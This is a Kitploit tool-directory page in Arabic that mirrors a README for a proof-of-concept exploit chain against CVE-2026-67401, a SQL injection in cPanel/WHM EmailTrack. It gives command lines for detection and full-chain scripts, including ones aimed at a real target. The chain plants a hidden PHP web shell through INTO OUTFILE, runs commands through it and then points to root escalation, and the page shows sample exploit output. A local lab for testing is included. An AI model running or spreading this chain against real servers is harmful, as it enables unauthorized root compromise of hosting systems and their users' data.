Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-67401 — إثبات مفهوم وسلسلة استغلال لـ CVE-2026-67401، وهو حقن SQL في EmailTrack ضمن cPanel/WHM يتيح الكتابة على ملفات عشوائية وتنفيذ أوامر عن بُعد بصلاحيات الجذر (root RCE)، مع كشف حقن SQL ومختبر محلي. | Kitploit
أدوات/GitHubGitHub/hitechcloud-vietnam/cve-2026-67401
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبتطوير الحمولاتمختبرات وتدريب عملي
GitHubhitechcloud-vietnam/cve-2026-67401

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-67401

إثبات مفهوم وسلسلة استغلال لـ CVE-2026-67401، وهو حقن SQL في EmailTrack ضمن cPanel/WHM يتيح الكتابة على ملفات عشوائية وتنفيذ أوامر عن بُعد بصلاحيات الجذر (root RCE)، مع كشف حقن SQL ومختبر محلي.

عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-67401 — حقن SQL في EmailTrack في cPanel/WHM ← تنفيذ أوامر عن بُعد بصلاحيات الجذر (Root RCE)

CVE Severity Platform Python

إثبات مفهوم (Proof-of-concept) لـ CVE-2026-67401، وهي ثغرة حقن SQL حرجة في وظيفة EmailTrack في cPanel & WHM تتيح لمستخدم مُصادَق عليه يمتلك صلاحيات متعلقة بالبريد كتابة ملفات عشوائية وتنفيذ تعليمات برمجية بصلاحيات الجذر (root).

اكتُشفت بواسطة: HiTechCloud VietNam by Pho Tue SoftWare Solutions JSC أُعلن عنها: 6 أكتوبر 2026 المكوّن: EmailTrack (تسجيل / تتبّع تسليم البريد)


الإصدارات المتأثرة

الإصدارات الأدنى من البُنى المُصلحة عرضة للثغرة.

سلسلة إصدارات cPanelالإصدار المُصلح
11.11011.110.0.143
11.13411.134.0.55
11.13611.136.0.39
11.13811.138.0.4
WP2 (11.138)11.138.1.9

تحقّق من إصدارك باستخدام:

cat /usr/local/cpanel/version

سلسلة الاستغلال

┌─────────────┐      ┌────────────┐      ┌─────────┐      ┌──────────┐
│ Auth as     │ ───► │ SQLi in    │ ───► │ INTO    │ ───► │ RCE as   │
│ cPanel user │      │ EmailTrack │      │ OUTFILE │      │ root     │
│ (mail priv) │      │ API call   │      │ (shell) │      │          │
└─────────────┘      └────────────┘      └─────────┘      └──────────┘
  1. المصادقة على cPanel بحساب يمتلك صلاحيات البريد.
  2. الحقن عبر معامل account في EmailTrack.
  3. كتابة web shell بلغة PHP باستخدام SELECT ... INTO OUTFILE داخل public_html/.
  4. تنفيذ الأوامر عبر الـ shell.
  5. التصعيد عبر ثنائيات SUID في cPanel، أو cron، أو قائمة المهام.

محتويات المستودع

الملفالوصف
poc_sqli.pyكشف حقن SQL: القائم على القيم المنطقية، والقائم على الوقت، وعدّ أعمدة UNION
poc_full_chain.pyسلسلة الاستغلال الكاملة: SQLi → web shell عبر INTO OUTFILE → RCE → إرشادات الوصول إلى root
lab/vuln_server.pyمحاكاة محلية لخادم EmailTrack الخلفي المصاب (آمنة ومكتفية ذاتيًا)
README.mdهذا المستند

يتيح لك المختبر المرفق تشغيل والتحقق من السلسلة بأكملها دون الحاجة إلى خادم cPanel حقيقي.


المتطلبات

  • Python 3.8+
  • لا توجد حزم خارجية — كل شيء يستخدم المكتبة القياسية.

الاستخدام

تُنفَّذ جميع الأوامر من جذر المستودع.

1. تشغيل المختبر المحلي

python3 lab/vuln_server.py 18123 lab/htdocs
  • بيانات الاعتماد: alice / s3cr1t
  • يحاكي: تسجيل الدخول عبر UAPI، واستعلام EmailTrack القابل للاستغلال، وSLEEP()، وINTO OUTFILE، وتنفيذ web-shell بلغة PHP.
  • الوسيط الأول: المنفذ (الافتراضي 18123)
  • الوسيط الثاني: جذر المستندات (الافتراضي lab/htdocs)

اترك هذا قيد التشغيل في طرفية واحدة واستخدم طرفية ثانية لتنفيذ PoCs.

2. كشف حقن SQL

python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
المعاملالوصف
-H, --hostمضيف cPanel، مثل https://cp.example.com:2083
-u, --usernameحساب cPanel مع صلاحيات البريد
-p, --passwordكلمة مرور الحساب
--paramالمعامل القابل للحقن (الافتراضي: account)
--modedetect (الافتراضي)، boolean، timing، union، أو all
--sleepمدة SLEEP() لفحص التوقيت (الافتراضي: 3.0)
--dump-versionمحاولة استخراج إصدار DBMS عبر UNION
--insecureتخطي التحقق من شهادة TLS

تشغيل فحص محدد:

# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union

# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5

3. سلسلة الاستغلال الكاملة

CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
  python3 poc_full_chain.py http://127.0.0.1:18123 \
  --shell-base http://127.0.0.1:18123
المعامل / متغير البيئةالوصف
host (موضعي)مضيف cPanel، أو عيّن متغير البيئة CPANEL_HOST
CPANEL_USERحساب cPanel ذو صلاحيات البريد
CPANEL_PASSكلمة مرور الحساب
--shell-baseعنوان URL الأساسي الذي يخدم public_html (حيث يتم الوصول إلى web shell)
--insecureتخطي التحقق من شهادة TLS
--no-escalateالتوقف بعد RCE؛ تخطي إرشادات التصعيد إلى root
SHELL_NAME (متغير بيئة)اسم ملف web shell (الافتراضي: .mail.cache.php)

المراحل التي تُنفَّذ تلقائيًا:

  1. المصادقة إلى cPanel
  2. تأكيد حقن SQL (boolean + قائم على الوقت)
  3. تحديد عدد أعمدة الاستعلام عبر UNION
  4. كتابة web shell بلغة PHP باستخدام SELECT ... INTO OUTFILE
  5. تنفيذ الأوامر عبر الـ shell (id، whoami، تعداد SUID، …)
  6. طباعة إرشادات التصعيد إلى root (SUID whmapi1، cron، قائمة المهام)

4. ضد هدف حقيقي

# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
  --insecure --mode detect

# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
  python3 poc_full_chain.py https://cp.example.com:2083 \
  --shell-base https://cp.example.com --insecure

ملاحظة: القيمة الافتراضية لـ --shell-base تُزيل منفذ cPanel فقط (2082/2083) من المضيف. إذا كان جذر المستند يُقدَّم على منفذ مختلف، فاضبطه صراحةً.


النتائج المُتحقَّق منها

المخرجات الناتجة مقابل المختبر المُضمَّن:

  CVE-2026-67401  cPanel/WHM EmailTrack SQLi -> File Write -> RCE
  version 1.0

  target: http://127.0.0.1:18123
  user:   alice
  [+] authenticated
  [1] confirming SQL injection in EmailTrack `account`
  [+] boolean-based SQLi CONFIRMED
  [+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
  [2] determining column count via UNION
  [+] target query has 5 columns
  [3] writing PHP web shell via SELECT ... INTO OUTFILE
  [+] shell written -> /home/alice/public_html/.mail.cache.php
  [4] executing commands through the web shell
  [+] id -> uid=1000(x) gid=1000(x) ...

المراجع

  • حقن SQL حرج في cPanel يتيح للمهاجمين الحصول على وصول الجذر — The Daily Tech Feed
  • استشارة أمنية من cPanel: CVE-2026-67401
  • CWE-89: التحايد غير السليم للعناصر الخاصة المستخدمة في أمر SQL

الترخيص

صدر لأغراض تعليمية وأغراض البحث الأمني المصرّح به. راجع إخلاء المسؤولية قبل الاستخدام.

تنزيل الأداة